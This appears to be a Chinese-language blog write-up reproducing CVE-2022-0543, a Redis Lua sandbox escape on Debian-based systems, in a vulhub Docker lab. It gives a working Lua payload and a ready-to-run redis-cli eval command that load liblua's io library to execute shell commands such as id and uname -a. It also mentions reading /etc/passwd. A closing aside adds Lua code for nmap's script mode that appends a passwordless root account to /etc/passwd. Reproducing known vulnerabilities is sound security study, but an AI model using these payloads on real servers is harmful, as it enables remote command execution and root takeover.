CVE-2022-0543复现 | redis的远程代码执行漏洞
0x01描述
披露时间: 2022.3.8
影响范围 : Debian 系的 Linux 发行版本 Ubuntu
CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码
0x02原理
redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.
但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件
所以这个CVE本质是一个沙箱绕过漏洞
Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 :
luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)
就是漏洞的来源,。
这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是“for sandboxing concerns”
Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令
借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。
需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同
我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令:
代码语言:javascript复制local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
代码语言:javascript复制eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0
0x03复现
直接拉取vulhub建立好的docker
- 当前目录写入文件
docker-compose.yaml
version: '2'
services:
redis:
image: vulhub/redis:5.0.7
ports:
- "6379:6379"
代码语言:javascript复制docker-compose up -d
- 安装好后docker自动运行在后台
- 直接通过
redis-cli -h 127.0.0.1
进入redis里面进行测试
可见确实执行了uname -a
ls /
cat /etc/passwd
三个命令
最后的一点话 :
之所以Ubuntu也受到影响是因为Ubuntu基于Debian, 所以就存在着同样的问题
这次的复现再次用到了Lua, 不经让我想到之前的通过nmap的交互模式interactive模式进行SUID提权, 但是版本较老的nmap才会有interactive模式, 但是新的nmap模式增加了–script模式支持加载Lua代码修改/etc/passwd增加一个无密码root用户rootx(如果失败是因为并且现在很多版本的dash和bash都对SUID问题增加了补丁, 导致Real UID和Effective UID不相等而导致SUID修改失败, 无root权限自然就失败了 ), 附添加root权限的Lua代码
代码语言:javascript复制local file = io.open("/etc/passwd", "a")
file:write("rootx::0:0::/root:/bin/bashn")
file:close()
披露文章 :
https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce